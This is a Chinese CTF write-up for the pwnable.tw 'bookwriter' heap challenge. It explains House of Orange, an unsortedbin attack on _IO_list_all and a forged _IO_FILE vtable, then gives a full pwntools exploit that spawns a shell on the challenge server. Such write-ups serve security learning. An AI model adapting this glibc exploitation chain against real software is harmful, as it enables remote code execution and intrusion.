[pwnable.tw] bookwrite - no free条件House_of_Orange + unsortedbin_attack
思路:
- Autor未设置截断导致
heap
泄露,strlen重设长度时包含下一个chunk的size导致溢出; - 进行
house of orange
释放原先的topchunk
进入unsortedbin
(进入过程可以借助scanf中malloc分配缓冲区来完成),以此可以泄露libc
; - (关键)
unsortedbin attack
攻击IO_list_all
,使其的指针指向main_arena+0x58
,然后以此为IO_FILE
结构体,再通过struct _IO_FILE *_chain
域指向堆上的unsortedbin
位置; - 只要提前在unsortedbin位置伪造好
IO_FILE
结构体和vtable
就可以借助_IO_flush_all_lockp
(在触发malloc_printerr
时会被调用)调用system("/bin/sh\x00")
来getshell.
分析历程
这里有个很操蛋的地方卡了很久...开始一直弄不明白unsortedbin attack
修改掉IO_list_all
之后如何构造struct _IO_FILE *_chain
指向堆上我们伪造的结构。分析发现如果把main_arena+0x58
看作结构体,则对应smallbin[4](0x60)
的索引位置,也就是只要有一个0x60的smallbin被free就可以构成链表。
但是想了很久还是不明白如何让unsortedbin
进入这个位置...又翻了好久的源代码发现在尝试对unsortedbin
进行分割前,其中一个判断条件要满足的是:bck == unsorted_chunks (av)
,而bck = victim->bk
。换句话说,只要unsorted chunk
中的bk指针被修改掉之后,一定不会满足这个判断,也就一定不会进入分割unsorted chunk
的过程。如果我们提前借助堆溢出修改unsorted chunk
大小为0x61,则在下次分配一个0x10的堆块时就会进入下面把unsorted chunk
置入smallbin
的分支过程,这一举动刚好使得smallbin[4](0x60)
的索引位置出现了原先unsorted chunk
的指针。加上一定的构造之后(相关限制条件可以看ctfwiki)就可以通过触发报错拿shell了。
总结一下就是:在bk指针被破坏之后,原本可能发生的unsorted chunk
分割条件无法满足,而是直接把整个unsorted chunk
置入smallbin
对应位置(注意不是fastbin,不能只看大小,要看程序流)。这些细节勿略掉可能会在很浅显的地方翻车。
EXP:
from pwn import *
#p = process("./bookwriter", env = {"LD_PRELOAD":"./libc.so.6"})
p = remote("chall.pwnable.tw", 10304)
elf = ELF("./bookwriter")
libc = ELF("./libc_64.so.6")
context.log_level = "debug"
def send_choice(idx:int):
p.recvuntil(b"Your choice :")
p.sendline(str(idx).encode())
def add(size, content):
send_choice(1)
p.recvuntil(b"Size of page :")
p.sendline(str(size).encode())
p.recvuntil(b"Content :")
p.send(content)
def view(idx:int):
send_choice(2)
p.recvuntil(b"Index of page :")
p.sendline(str(idx).encode())
def edit(idx:int, content):
send_choice(3)
p.recvuntil(b"Index of page :")
p.sendline(str(idx).encode())
p.recvuntil(b"Content:")
p.send(content)
def info(new_author=None):
send_choice(4)
p.recvuntil(b"(yes:1 / no:0)")
if new_author != None:
p.sendline(b"1")
p.recvuntil(b"Author :")
p.send(new_author)
else:
p.sendline(b"0")
def go_exit():
send_choice(5)
def exp():
# const
bss_author = 0x602060
bss_catalog = 0x6020a0
bss_sizelist = 0x6020e0
# set author
author = b"a"*(0x40-0x2) + b"||"
p.recvuntil(b"Author :")
p.send(author)
# leak libc && heap
add(0x18, b"aaa") #0
## leak libc
edit(0, b"a"*0x18)
edit(0, b"a"*0x18+b"\xe1\x0f\x00") #modify size of top_chunk
info() # call printf to malloc(0x1000) && get unsortedbin
add(0x78, b"aaaaaaaa") #1
view(1) #leak address preserved
p.recvuntil(b"Content :\naaaaaaaa")
libc_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
libc_base = libc_leak - 0x3c4188
system = libc_base + libc.symbols[b"system"]
stdout = libc_base + 0x3c5620
io_list_all = libc_base + libc.symbols[b"_IO_list_all"]
print("libc_leak:", hex(libc_leak))
print("libc_base:", hex(libc_base))
print("stdout:", hex(stdout))
print("io_list_all:", hex(io_list_all))
## leak heap
send_choice(4) #info
p.recvuntil(b"||")
heap_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
heap_base = heap_leak - 0x10
print("heap_leak:", hex(heap_leak))
print("heap_base:", hex(heap_base))
p.sendafter(b"(yes:1 / no:0)", b"0\n")
chunk1_addr = heap_base + 0x20
print("chunk1_addr:", hex(chunk1_addr))
edit(0, b"\n") #set size[0]=0
for i in range(7):
add(0x58, b"bbbb")
## unsortedbin attack
pad = b"a"*0x330
## build fake _IO_FILE and vtable
data = b'/bin/sh\x00'
data += p64(0x61)
data += p64(0xdeadbeef)
data += p64(libc_base + libc.symbols[b'_IO_list_all'] - 0x10)
data += p64(2)
data += p64(3)
data = data.ljust(0xc0, b'\x00')
data + p64(0xffffffffffffffff)
data = data.ljust(0xe0-8, b'\x00')
vtable = p64(0) * 3 + p64(libc_base + libc.symbols[b'system'])
vtable_addr = heap_base + 0x420
data += p64(vtable_addr)
data += vtable
edit(0, pad+data)
edit(0, b"\n") #set size[0]=0
send_choice(1)
p.recvuntil(b"Size of page :")
p.sendline(b"16")
#gdb.attach(p)
p.interactive()
if __name__ == "__main__":
exp()